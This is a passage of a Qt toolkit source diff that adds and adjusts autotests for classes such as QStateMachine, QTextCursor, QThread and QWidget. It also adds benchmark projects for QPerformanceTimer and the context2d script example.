+ QVERIFY(model.insertRows(1, 1));
+ QVERIFY(model.insertRows(3, 1));
+ QCOMPARE(model.rowCount(), 5);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString());
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(3, 1)).toString(), QString());
+ QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi"));
+
+ QVERIFY(model.removeRows(1, 3));
+ QVERIFY(model.submitAll());
+ QCOMPARE(model.rowCount(), 2);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString("vohi"));
}
void tst_QSqlTableModel::emptyTable()
diff --git a/tests/auto/qstatemachine/tst_qstatemachine.cpp b/tests/auto/qstatemachine/tst_qstatemachine.cpp
index a03657f..231cab0 100644
--- a/tests/auto/qstatemachine/tst_qstatemachine.cpp
+++ b/tests/auto/qstatemachine/tst_qstatemachine.cpp
@@ -211,6 +211,9 @@ private slots:
void postEventFromOtherThread();
void eventFilterForApplication();
void eventClassesExported();
+ void stopInTransitionToFinalState();
+ void stopInEventTest_data();
+ void stopInEventTest();
};
tst_QStateMachine::tst_QStateMachine()
@@ -4374,5 +4377,70 @@ void tst_QStateMachine::eventClassesExported()
QStateMachine::SignalEvent *signalEvent = new QStateMachine::SignalEvent(0, 0, QList<QVariant>());
}
+void tst_QStateMachine::stopInTransitionToFinalState()
+{
+ QStateMachine machine;
+ QState *s1 = new QState(&machine);
+ QFinalState *s2 = new QFinalState(&machine);
+ QAbstractTransition *t1 = s1->addTransition(s2);
+ machine.setInitialState(s1);
+
+ QObject::connect(t1, SIGNAL(triggered()), &machine, SLOT(stop()));
+ QSignalSpy stoppedSpy(&machine, SIGNAL(stopped()));
+ QSignalSpy finishedSpy(&machine, SIGNAL(finished()));
+ QSignalSpy s2EnteredSpy(s2, SIGNAL(entered()));
+ machine.start();
+
+ // Stopping should take precedence over finished.
+ QTRY_COMPARE(stoppedSpy.count(), 1);
+ QCOMPARE(finishedSpy.count(), 0);
+ QCOMPARE(s2EnteredSpy.count(), 1);
+ QCOMPARE(machine.configuration().size(), 1);
+ QVERIFY(machine.configuration().contains(s2));
+}
+
+class StopInEventTestTransition : public QAbstractTransition
+{
+public:
+ bool eventTest(QEvent *e)
+ {
+ if (e->type() == QEvent::User)
+ machine()->stop();
+ return false;
+ }
+ void onTransition(QEvent *)
+ { }
+};
+
+void tst_QStateMachine::stopInEventTest_data()
+{
+ QTest::addColumn<int>("eventPriority");
+ QTest::newRow("NormalPriority") << int(QStateMachine::NormalPriority);
+ QTest::newRow("HighPriority") << int(QStateMachine::HighPriority);
+}
+
+void tst_QStateMachine::stopInEventTest()
+{
+ QFETCH(int, eventPriority);
+
+ QStateMachine machine;
+ QState *s1 = new QState(&machine);
+ s1->addTransition(new StopInEventTestTransition());
+ machine.setInitialState(s1);
+
+ QSignalSpy startedSpy(&machine, SIGNAL(started()));
+ machine.start();
+ QTRY_COMPARE(startedSpy.count(), 1);
+
+ QSignalSpy stoppedSpy(&machine, SIGNAL(stopped()));
+ QSignalSpy finishedSpy(&machine, SIGNAL(finished()));
+ machine.postEvent(new QEvent(QEvent::User), QStateMachine::EventPriority(eventPriority));
+
+ QTRY_COMPARE(stoppedSpy.count(), 1);
+ QCOMPARE(finishedSpy.count(), 0);
+ QCOMPARE(machine.configuration().size(), 1);
+ QVERIFY(machine.configuration().contains(s1));
+}
+
QTEST_MAIN(tst_QStateMachine)
#include "tst_qstatemachine.moc"
diff --git a/tests/auto/qstring/tst_qstring.cpp b/tests/auto/qstring/tst_qstring.cpp
index 969521f..abc8d9a 100644
--- a/tests/auto/qstring/tst_qstring.cpp
+++ b/tests/auto/qstring/tst_qstring.cpp
@@ -4319,6 +4319,9 @@ void tst_QString::localeAwareCompare_data()
void tst_QString::localeAwareCompare()
{
+#ifdef Q_OS_SYMBIAN
+ QSKIP("QTBUG-16921: There is no way to set up the system locale, so this test is not reliable in Symbian.");
+#else
#ifdef Q_OS_WIN
# ifndef Q_OS_WINCE
QSKIP("On others than Win CE, we cannot set the system or user locale.", SkipAll);
@@ -4416,6 +4419,7 @@ void tst_QString::localeAwareCompare()
if (!locale.isEmpty())
setlocale(LC_ALL, "");
#endif
+#endif // Q_OS_SYMBIAN
}
void tst_QString::split_data()
diff --git a/tests/auto/qstylesheetstyle/tst_qstylesheetstyle.cpp b/tests/auto/qstylesheetstyle/tst_qstylesheetstyle.cpp
index 50002a6..83adf49 100644
--- a/tests/auto/qstylesheetstyle/tst_qstylesheetstyle.cpp
+++ b/tests/auto/qstylesheetstyle/tst_qstylesheetstyle.cpp
@@ -100,6 +100,7 @@ private slots:
void task188195_baseBackground();
void task232085_spinBoxLineEditBg();
void changeStyleInChangeEvent();
+ void QTBUG15910_crashNullWidget();
//at the end because it mess with the style.
void widgetStyle();
@@ -1657,6 +1658,23 @@ void tst_QStyleSheetStyle::QTBUG11658_cachecrash()
qApp->setStyleSheet(QString());
}
+void tst_QStyleSheetStyle::QTBUG15910_crashNullWidget()
+{
+ struct : QWidget {
+ virtual void paintEvent(QPaintEvent* ) {
+ QStyleOption opt;
+ opt.init(this);
+ QPainter p(this);
+ style()->drawPrimitive(QStyle::PE_Widget, &opt, &p, 0);
+ style()->drawPrimitive(QStyle::PE_Frame, &opt, &p, 0);
+ style()->drawControl(QStyle::CE_PushButton, &opt, &p, 0);
+ }
+ } w;
+ w.setStyleSheet("* { background-color: white; color:black; border 3px solid yellow }");
+ w.show();
+ QTest::qWaitForWindowShown(&w);
+}
+
QTEST_MAIN(tst_QStyleSheetStyle)
#include "tst_qstylesheetstyle.moc"
diff --git a/tests/auto/qsvgrenderer/qsvgrenderer.pro b/tests/auto/qsvgrenderer/qsvgrenderer.pro
index 49337e2..fc98776 100644
--- a/tests/auto/qsvgrenderer/qsvgrenderer.pro
+++ b/tests/auto/qsvgrenderer/qsvgrenderer.pro
@@ -18,3 +18,6 @@ wince*|symbian {
}
}
+!symbian: {
+ DEFINES += SRCDIR=\\\"$$PWD/\\\"
+}
diff --git a/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp b/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp
index 5928a09..9fbf2a0 100644
--- a/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp
+++ b/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp
@@ -51,6 +51,10 @@
#include <QPicture>
#include <QXmlStreamReader>
+#ifndef SRCDIR
+#define SRCDIR
+#endif
+
//TESTED_CLASS=
//TESTED_FILES=
@@ -647,13 +651,13 @@ void tst_QSvgRenderer::gradientRefs()
#ifndef QT_NO_COMPRESS
void tst_QSvgRenderer::testGzLoading()
{
- QSvgRenderer renderer(QLatin1String("heart.svgz"));
+ QSvgRenderer renderer(QLatin1String(SRCDIR "heart.svgz"));
QVERIFY(renderer.isValid());
QSvgRenderer resourceRenderer(QLatin1String(":/heart.svgz"));
QVERIFY(resourceRenderer.isValid());
- QFile largeFileGz("large.svgz");
+ QFile largeFileGz(SRCDIR "large.svgz");
largeFileGz.open(QIODevice::ReadOnly);
QByteArray data = largeFileGz.readAll();
QSvgRenderer autoDetectGzData(data);
diff --git a/tests/auto/qtconcurrentiteratekernel/tst_qtconcurrentiteratekernel.cpp b/tests/auto/qtconcurrentiteratekernel/tst_qtconcurrentiteratekernel.cpp
index a6499ff..92e8608 100644
--- a/tests/auto/qtconcurrentiteratekernel/tst_qtconcurrentiteratekernel.cpp
+++ b/tests/auto/qtconcurrentiteratekernel/tst_qtconcurrentiteratekernel.cpp
@@ -201,6 +201,7 @@ void tst_QtConcurrentIterateKernel::noIterations()
startThreadEngine(new IterateKernel<TestIterator, void>(0, 0)).startBlocking();
}
+QMutex threadsMutex;
QSet<QThread *> threads;
class ThrottleFor : public IterateKernel<TestIterator, void>
{
@@ -219,8 +220,10 @@ public:
QThread *thread = QThread::currentThread();
- if (begin > 140 && end < 160)
+ if (begin > 140 && end < 160) {
+ QMutexLocker locker(&threadsMutex);
threads.insert(thread);
+ }
if (100 >= begin && 100 < end) {
throttling = true;
diff --git a/tests/auto/qtextcursor/tst_qtextcursor.cpp b/tests/auto/qtextcursor/tst_qtextcursor.cpp
index ee2baef..4d52dd7 100644
--- a/tests/auto/qtextcursor/tst_qtextcursor.cpp
+++ b/tests/auto/qtextcursor/tst_qtextcursor.cpp
@@ -134,6 +134,7 @@ private slots:
void endOfLine();
void editBlocksDuringRemove();
+ void selectAllDuringRemove();
void update_data();
void update();
@@ -1388,6 +1389,17 @@ public slots:
++recordingCount;
}
+ void selectAllContents()
+ {
+ // Only test the first time
+ if (!recordingCount) {
+ recordingCount++;
+ cursor->select(QTextCursor::Document);
+ lastRecordedPosition = cursor->position();
+ lastRecordedAnchor = cursor->anchor();
+ }
+ }
+
private:
QTextCursor *cursor;
};
@@ -1411,6 +1423,22 @@ void tst_QTextCursor::editBlocksDuringRemove()
QVERIFY(doc->toPlainText().isEmpty());
}
+void tst_QTextCursor::selectAllDuringRemove()
+{
+ CursorListener listener(&cursor);
+
+ cursor.insertText("Hello World");
+ cursor.movePosition(QTextCursor::End);
+
+ connect(doc, SIGNAL(contentsChanged()), &listener, SLOT(selectAllContents()));
+ listener.recordingCount = 0;
+ QTextCursor localCursor = cursor;
+ localCursor.deletePreviousChar();
+
+ QCOMPARE(listener.lastRecordedPosition, 10);
+ QCOMPARE(listener.lastRecordedAnchor, 0);
+}
+
void tst_QTextCursor::update_data()
{
QTest::addColumn<QString>("text");
diff --git a/tests/auto/qthread/tst_qthread.cpp b/tests/auto/qthread/tst_qthread.cpp
index 19c6c16..c69052e 100644
--- a/tests/auto/qthread/tst_qthread.cpp
+++ b/tests/auto/qthread/tst_qthread.cpp
@@ -113,6 +113,7 @@ private slots:
void wait3_slowDestructor();
void destroyFinishRace();
void startFinishRace();
+ void startAndQuitCustomEventLoop();
void stressTest();
};
@@ -1150,5 +1151,20 @@ void tst_QThread::startFinishRace()
}
}
+void tst_QThread::startAndQuitCustomEventLoop()
+{
+ struct Thread : QThread {
+ void run() { QEventLoop().exec(); }
+ };
+
+ for (int i = 0; i < 5; i++) {
+ Thread t;
+ t.start();
+ t.quit();
+ t.wait();
+ }
+}
+
+
QTEST_MAIN(tst_QThread)
#include "tst_qthread.moc"
diff --git a/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp b/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp
index be6049b..6aa0995 100644
--- a/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp
+++ b/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp
@@ -348,6 +348,8 @@ void tst_QSharedMemory::attach()
QVERIFY(sm.detach());
// Make sure detach doesn't screw up something and we can't re-attach.
QVERIFY(sm.attach());
+ QVERIFY(sm.data() != 0);
+ QVERIFY(sm.size() != 0);
QVERIFY(sm.detach());
QCOMPARE(sm.size(), 0);
QVERIFY(sm.data() == 0);
@@ -374,7 +376,8 @@ void tst_QSharedMemory::lock()
QVERIFY(shm.lock());
QTest::ignoreMessage(QtWarningMsg, "QSharedMemory::lock: already locked");
QVERIFY(shm.lock());
- // don't lock forever
+ // we didn't unlock(), so ignore the warning from auto-detach in destructor
+ QTest::ignoreMessage(QtWarningMsg, "QSharedMemory::lock: already locked");
}
/*!
diff --git a/tests/auto/qwidget/tst_qwidget.cpp b/tests/auto/qwidget/tst_qwidget.cpp
index 35ffd40..2208bea 100644
--- a/tests/auto/qwidget/tst_qwidget.cpp
+++ b/tests/auto/qwidget/tst_qwidget.cpp
@@ -2745,9 +2745,6 @@ void tst_QWidget::lostUpdatesOnHide()
void tst_QWidget::raise()
{
-#ifdef QT_MAC_USE_COCOA
- QSKIP("Cocoa has no Z-Order for views, we hack it, but it results in paint events.", SkipAll);
-#endif
QTest::qWait(10);
QWidget *parent = new QWidget(0);
QList<UpdateWidget *> allChildren;
@@ -2772,6 +2769,12 @@ void tst_QWidget::raise()
QTest::qWaitForWindowShown(parent);
QTest::qWait(10);
+#ifdef QT_MAC_USE_COCOA
+ if (child1->internalWinId()) {
+ QSKIP("Cocoa has no Z-Order for views, we hack it, but it results in paint events.", SkipAll);
+ }
+#endif
+
QList<QObject *> list1;
list1 << child1 << child2 << child3 << child4;
QVERIFY(parent->children() == list1);
@@ -2796,6 +2799,9 @@ void tst_QWidget::raise()
foreach (UpdateWidget *child, allChildren) {
int expectedPaintEvents = child == child2 ? 1 : 0;
int expectedZOrderChangeEvents = child == child2 ? 1 : 0;
+#ifdef QT_MAC_USE_COCOA
+ QSKIP("Not yet sure why this fails.", SkipSingle);
+#endif
QTRY_COMPARE(child->numPaintEvents, expectedPaintEvents);
QCOMPARE(child->numZOrderChangeEvents, expectedZOrderChangeEvents);
child->reset();
@@ -3046,9 +3052,6 @@ protected:
void tst_QWidget::testContentsPropagation()
{
-#ifdef Q_WS_MAC
- QSKIP("Pixmap is not antialiased whereas widget is.", SkipAll);
-#endif
ContentsPropagationWidget widget;
#ifdef Q_WS_QWS
widget.resize(500,500);
@@ -3852,29 +3855,6 @@ void tst_QWidget::testDeletionInEventHandlers()
#ifdef Q_WS_MAC
-bool testAndRelease(const HIViewRef view)
-{
-// qDebug() << CFGetRetainCount(view);
- if (CFGetRetainCount(view) != 2)
- return false;
- CFRelease(view);
- CFRelease(view);
- return true;
-}
-
-typedef QPair<QWidget *, HIViewRef> WidgetViewPair;
-
-WidgetViewPair createAndRetain(QWidget * const parent = 0)
-{
- QWidget * const widget = new QWidget(parent);
- const HIViewRef view = (HIViewRef)widget->winId();
- // Retain twice so we can safely call CFGetRetaintCount even if the retain count
- // is off by one because of a double release.
- CFRetain(view);
- CFRetain(view);
- return qMakePair(widget, view);
-}
-
/*
Test that retaining and releasing the HIView returned by QWidget::winId()
works even if the widget itself is deleted.
@@ -4756,9 +4736,6 @@ void tst_QWidget::update()
QRegion expectedVisible = QRegion(w.rect())
- child.visibleRegion().translated(childOffset);
QCOMPARE(w.visibleRegion(), expectedVisible);
-#ifdef QT_MAC_USE_COCOA
- QEXPECT_FAIL(0, "Cocoa compositor paints the content view", Continue);
-#endif
QCOMPARE(w.paintedRegion, expectedVisible);
#ifdef QT_MAC_USE_COCOA
QEXPECT_FAIL(0, "Cocoa compositor says to paint this.", Continue);
@@ -4808,14 +4785,8 @@ void tst_QWidget::update()
& sibling.visibleRegion().translated(siblingOffset));
QCOMPARE(w.numPaintEvents, 1);
-#ifdef QT_MAC_USE_COCOA
- QEXPECT_FAIL(0, "Cocoa compositor paints the content view", Continue);
-#endif
QCOMPARE(w.paintedRegion,
w.visibleRegion() & sibling.visibleRegion().translated(siblingOffset));
-#ifdef QT_MAC_USE_COCOA
- QEXPECT_FAIL(0, "Cocoa compositor paints the content view", Continue);
-#endif
QCOMPARE(w.paintedRegion,
(w.visibleRegion() - child.visibleRegion().translated(childOffset))
& sibling.visibleRegion().translated(siblingOffset));
@@ -4838,7 +4809,8 @@ void tst_QWidget::update()
QCOMPARE(sibling.paintedRegion, sibling.visibleRegion());
#ifdef QT_MAC_USE_COCOA
- QEXPECT_FAIL(0, "Cocoa compositor paints child and sibling", Continue);
+ if (child.internalWinId()) // child is native
+ QEXPECT_FAIL(0, "Cocoa compositor paints child and sibling", Continue);
#endif
QCOMPARE(child.numPaintEvents, 0);
QCOMPARE(child.visibleRegion(),
@@ -5469,6 +5441,7 @@ public:
rect.width(), rect.height()); \
QCOMPARE(pixmap.size(), rect.size()); \
QPixmap expectedPixmap(pixmap); /* ensure equal formats */ \
+ expectedPixmap.detach(); \
expectedPixmap.fill(color); \
QImage image = pixmap.toImage(); \
uint alphaCorrection = image.format() == QImage::Format_RGB32 ? 0xff000000 : 0; \
@@ -5515,9 +5488,6 @@ void tst_QWidget::moveChild()
QTest::qWait(30);
const QPoint tlwOffset = parent.geometry().topLeft();
-#ifdef QT_MAC_USE_COCOA
- QEXPECT_FAIL(0, "Cocoa compositor paints the entire content view, even when opaque", Continue);
-#endif
QTRY_COMPARE(parent.r, QRegion(parent.rect()) - child.geometry());
QTRY_COMPARE(child.r, QRegion(child.rect()));
VERIFY_COLOR(child.geometry().translated(tlwOffset),
@@ -8916,6 +8886,7 @@ void tst_QWidget::setClearAndResizeMask()
UpdateWidget child(&topLevel);
child.setAutoFillBackground(true); // NB! Opaque child.
+ child.setPalette(Qt::red);
child.resize(100, 100);
child.show();
QTest::qWait(10);
@@ -8931,10 +8902,11 @@ void tst_QWidget::setClearAndResizeMask()
// and ensure that the child widget doesn't get any update.
#ifdef Q_WS_MAC
// Mac always issues a full update when calling setMask, and we cannot force it to not do so.
- QCOMPARE(child.numPaintEvents, 1);
-#else
- QCOMPARE(child.numPaintEvents, 0);
+ if (child.internalWinId())
+ QCOMPARE(child.numPaintEvents, 1);
+ else
#endif
+ QCOMPARE(child.numPaintEvents, 0);
// and the parent widget gets an update for the newly exposed area.
QTRY_COMPARE(topLevel.numPaintEvents, 1);
QRegion expectedParentExpose(child.rect());
@@ -8951,10 +8923,11 @@ void tst_QWidget::setClearAndResizeMask()
// and ensure that that the child widget gets an update for the area outside the old mask.
QTRY_COMPARE(child.numPaintEvents, 1);
outsideOldMask = child.rect();
-#ifndef Q_WS_MAC
+#ifdef Q_WS_MAC
// Mac always issues a full update when calling setMask, and we cannot force it to not do so.
- outsideOldMask -= childMask;
+ if (!child.internalWinId())
#endif
+ outsideOldMask -= childMask;
QCOMPARE(child.paintedRegion, outsideOldMask);
// and the parent widget doesn't get any update.
QCOMPARE(topLevel.numPaintEvents, 0);
@@ -8967,11 +8940,12 @@ void tst_QWidget::setClearAndResizeMask()
QTest::qWait(100);
#ifdef Q_WS_MAC
// Mac always issues a full update when calling setMask, and we cannot force it to not do so.
- QTRY_COMPARE(child.numPaintEvents, 1);
-#else
+ if (child.internalWinId())
+ QTRY_COMPARE(child.numPaintEvents, 1);
+ else
+#endif
// and ensure that we don't get any updates at all.
QTRY_COMPARE(child.numPaintEvents, 0);
-#endif
QCOMPARE(topLevel.numPaintEvents, 0);
// ...and the same applies when clearing the mask.
@@ -8979,10 +8953,11 @@ void tst_QWidget::setClearAndResizeMask()
QTest::qWait(100);
#ifdef Q_WS_MAC
// Mac always issues a full update when calling setMask, and we cannot force it to not do so.
- QTRY_VERIFY(child.numPaintEvents > 0);
-#else
- QCOMPARE(child.numPaintEvents, 0);
+ if (child.internalWinId())
+ QTRY_VERIFY(child.numPaintEvents > 0);
+ else
#endif
+ QCOMPARE(child.numPaintEvents, 0);
QCOMPARE(topLevel.numPaintEvents, 0);
QWidget resizeParent;
@@ -9008,10 +8983,11 @@ void tst_QWidget::setClearAndResizeMask()
QTest::qWait(200);
#ifdef Q_WS_MAC
// Mac always issues a full update when calling setMask, and we cannot force it to not do so.
- QTRY_COMPARE(resizeChild.paintedRegion, resizeChild.mask());
-#else
- QTRY_COMPARE(resizeChild.paintedRegion, QRegion());
+ if (child.internalWinId())
+ QTRY_COMPARE(resizeChild.paintedRegion, resizeChild.mask());
+ else
#endif
+ QTRY_COMPARE(resizeChild.paintedRegion, QRegion());
resizeChild.paintedRegion = QRegion();
const QRegion oldMask = resizeChild.mask();
@@ -9019,10 +8995,11 @@ void tst_QWidget::setClearAndResizeMask()
QTest::qWait(100);
#ifdef Q_WS_MAC
// Mac always issues a full update when calling setMask, and we cannot force it to not do so.
- QTRY_COMPARE(resizeChild.paintedRegion, resizeChild.mask());
-#else
- QTRY_COMPARE(resizeChild.paintedRegion, resizeChild.mask() - oldMask);
+ if (child.internalWinId())
+ QTRY_COMPARE(resizeChild.paintedRegion, resizeChild.mask());
+ else
#endif
+ QTRY_COMPARE(resizeChild.paintedRegion, resizeChild.mask() - oldMask);
}
void tst_QWidget::maskedUpdate()
diff --git a/tests/auto/qwidget/tst_qwidget_mac_helpers.h b/tests/auto/qwidget/tst_qwidget_mac_helpers.h
index 029d8cd..d4f16b9 100644
--- a/tests/auto/qwidget/tst_qwidget_mac_helpers.h
+++ b/tests/auto/qwidget/tst_qwidget_mac_helpers.h
@@ -39,9 +39,20 @@
**
****************************************************************************/
#include <QtCore/QString>
-class QWidget;
+#include <QtCore/QPair>
+#include <QtGui/QWidget>
#pragma once // Yeah, it's deprecated in general, but it's standard practive for Mac OS X.
QString nativeWindowTitle(QWidget *widget, Qt::WindowState state);
bool nativeWindowModified(QWidget *widget);
+
+#ifndef QT_MAC_USE_COCOA
+typedef QPair<QWidget *, HIViewRef> WidgetViewPair;
+bool testAndRelease(const HIViewRef view);
+WidgetViewPair createAndRetain(QWidget * const parent = 0);
+#else
+typedef QPair<QWidget *, WId> WidgetViewPair;
+bool testAndRelease(const WId);
+WidgetViewPair createAndRetain(QWidget * const parent = 0);
+#endif
diff --git a/tests/auto/qwidget/tst_qwidget_mac_helpers.mm b/tests/auto/qwidget/tst_qwidget_mac_helpers.mm
index ca34b17..fce0b46 100644
--- a/tests/auto/qwidget/tst_qwidget_mac_helpers.mm
+++ b/tests/auto/qwidget/tst_qwidget_mac_helpers.mm
@@ -72,3 +72,47 @@ bool nativeWindowModified(QWidget *widget)
return [qt_mac_window_for(widget) isDocumentEdited];
#endif
}
+
+#ifndef QT_MAC_USE_COCOA
+bool testAndRelease(const HIViewRef view)
+{
+// qDebug() << CFGetRetainCount(view);
+ if (CFGetRetainCount(view) != 2)
+ return false;
+ CFRelease(view);
+ CFRelease(view);
+ return true;
+}
+
+WidgetViewPair createAndRetain(QWidget * const parent)
+{
+ QWidget * const widget = new QWidget(parent);
+ const HIViewRef view = (HIViewRef)widget->winId();
+ // Retain twice so we can safely call CFGetRetaintCount even if the retain count
+ // is off by one because of a double release.
+ CFRetain(view);
+ CFRetain(view);
+ return qMakePair(widget, view);
+}
+#else
+bool testAndRelease(const WId view)
+{
+ if ([id(view) retainCount] != 2)
+ return false;
+ [id(view) release];
+ [id(view) release];
+ return true;
+}
+
+WidgetViewPair createAndRetain(QWidget * const parent)
+{
+ QWidget * const widget = new QWidget(parent);
+ const WId view = widget->winId();
+ // Retain twice so we can safely call retainCount even if the retain count
+ // is off by one because of a double release.
+ [id(view) retain];
+ [id(view) retain];
+ return qMakePair(widget, view);
+}
+#endif
+
diff --git a/tests/benchmarks/corelib/corelib.pro b/tests/benchmarks/corelib/corelib.pro
index 335280e..a2efe91 100644
--- a/tests/benchmarks/corelib/corelib.pro
+++ b/tests/benchmarks/corelib/corelib.pro
@@ -11,6 +11,7 @@ TRUSTED_BENCHMARKS += \
kernel/qmetaobject \
kernel/qmetatype \
kernel/qobject \
- thread/qthreadstorage
+ thread/qthreadstorage \
+ io/qdir/tree
include(../trusted-benchmarks.pri) \ No newline at end of file
diff --git a/tests/benchmarks/declarative/qperformancetimer/qperformancetimer.pro b/tests/benchmarks/declarative/qperformancetimer/qperformancetimer.pro
new file mode 100644
index 0000000..a39cd3d
--- /dev/null
+++ b/tests/benchmarks/declarative/qperformancetimer/qperformancetimer.pro
@@ -0,0 +1,8 @@
+load(qttest_p4)
+QT += declarative
+TEMPLATE = app
+TARGET = tst_qperformancetimer
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qperformancetimer.cpp
+
diff --git a/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp b/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp
new file mode 100644
index 0000000..497a556
--- /dev/null
+++ b/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <private/qperformancetimer_p.h>
+#include <QObject>
+#include <qtest.h>
+
+class tst_qperformancetimer : public QObject
+{
+ Q_OBJECT
+
+public:
+ tst_qperformancetimer() {}
+
+private slots:
+ void all();
+ void startElapsed();
+ void doubleElapsed();
+ void trace();
+};
+
+void tst_qperformancetimer::all()
+{
+ QBENCHMARK {
+ QPerformanceTimer t;
+ t.start();
+ t.elapsed();
+ }
+}
+
+void tst_qperformancetimer::startElapsed()
+{
+ QPerformanceTimer t;
+ QBENCHMARK {
+ t.start();
+ t.elapsed();
+ }
+}
+
+void tst_qperformancetimer::doubleElapsed()
+{
+ QPerformanceTimer t;
+ t.start();
+ QBENCHMARK {
+ t.elapsed();
+ t.elapsed();
+ }
+}
+
+void tst_qperformancetimer::trace()
+{
+ QString s("A decent sized string of text here.");
+ QBENCHMARK {
+ QByteArray data;
+ QDataStream ds(&data, QIODevice::WriteOnly);
+ ds << (qint64)100 << (int)5 << (int)5 << s;
+ }
+}
+
+QTEST_MAIN(tst_qperformancetimer)
+
+#include "tst_qperformancetimer.moc"
diff --git a/tests/benchmarks/script/context2d/context2d.pro b/tests/benchmarks/script/context2d/context2d.pro
new file mode 100644
index 0000000..bc94c4f
--- /dev/null
+++ b/tests/benchmarks/script/context2d/context2d.pro
@@ -0,0 +1,22 @@
+load(qttest_p4)
+TEMPLATE = app
+TARGET = tst_bench_context2d
+
+SOURCES += tst_context2d.cpp
+
+CONTEXT2D_EXAMPLE_DIR = $$QT_SOURCE_TREE/examples/script/context2d
+INCLUDEPATH += $$CONTEXT2D_EXAMPLE_DIR
+
+HEADERS += $$CONTEXT2D_EXAMPLE_DIR/qcontext2dcanvas.h \
+ $$CONTEXT2D_EXAMPLE_DIR/context2d.h \
+ $$CONTEXT2D_EXAMPLE_DIR/domimage.h \
+ $$CONTEXT2D_EXAMPLE_DIR/environment.h
+
+SOURCES += $$CONTEXT2D_EXAMPLE_DIR/qcontext2dcanvas.cpp \
+ $$CONTEXT2D_EXAMPLE_DIR/context2d.cpp \
+ $$CONTEXT2D_EXAMPLE_DIR/domimage.cpp \
+ $$CONTEXT2D_EXAMPLE_DIR/environment.cpp
+
+RESOURCES += $$CONTEXT2D_EXAMPLE_DIR/context2d.qrc
+
+QT += script
diff --git a/tests/benchmarks/script/context2d/tst_context2d.cpp b/tests/benchmarks/script/context2d/tst_context2d.cpp
new file mode 100644
index 0000000..8401590
--- /dev/null
+++ b/tests/benchmarks/script/context2d/tst_context2d.cpp
@@ -0,0 +1,177 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QtCore/qdir.h>
+#include <QtCore/qfile.h>
+#include <QtCore/qtextstream.h>
+#include <QtScript/qscriptengine.h>
+#include <QtScript/qscriptvalue.h>
+#include "context2d.h"
+#include "environment.h"
+#include "qcontext2dcanvas.h"
+
+static QString readFile(const QString &filename)
+{
+ QFile file(filename);
+ if (!file.open(QFile::ReadOnly))
+ return QString();
+ QTextStream stream(&file);
+ stream.setCodec("UTF-8");
+ return stream.readAll();
+}
+
+class tst_Context2D : public QObject
+{
+ Q_OBJECT
+
+public:
+ tst_Context2D();
+ ~tst_Context2D();
+
+private slots:
+ void singleExecution_data();
+ void singleExecution();
+ void repeatedExecution_data();
+ void repeatedExecution();
+
+private:
+ void newEnvironment();
+
+private:
+ QDir testsDir;
+ Environment *m_env;
+ QContext2DCanvas *m_canvas;
+};
+
+tst_Context2D::tst_Context2D()
+ : m_env(0), m_canvas(0)
+{
+ testsDir = QDir(":/scripts");
+ if (!testsDir.exists())
+ qWarning("*** no scripts/ dir!");
+}
+
+tst_Context2D::~tst_Context2D()
+{
+ delete m_canvas;
+ delete m_env;
+}
+
+void tst_Context2D::newEnvironment()
+{
+ delete m_canvas;
+ delete m_env;
+ m_env = new Environment();
+ Context2D *context = new Context2D(m_env);
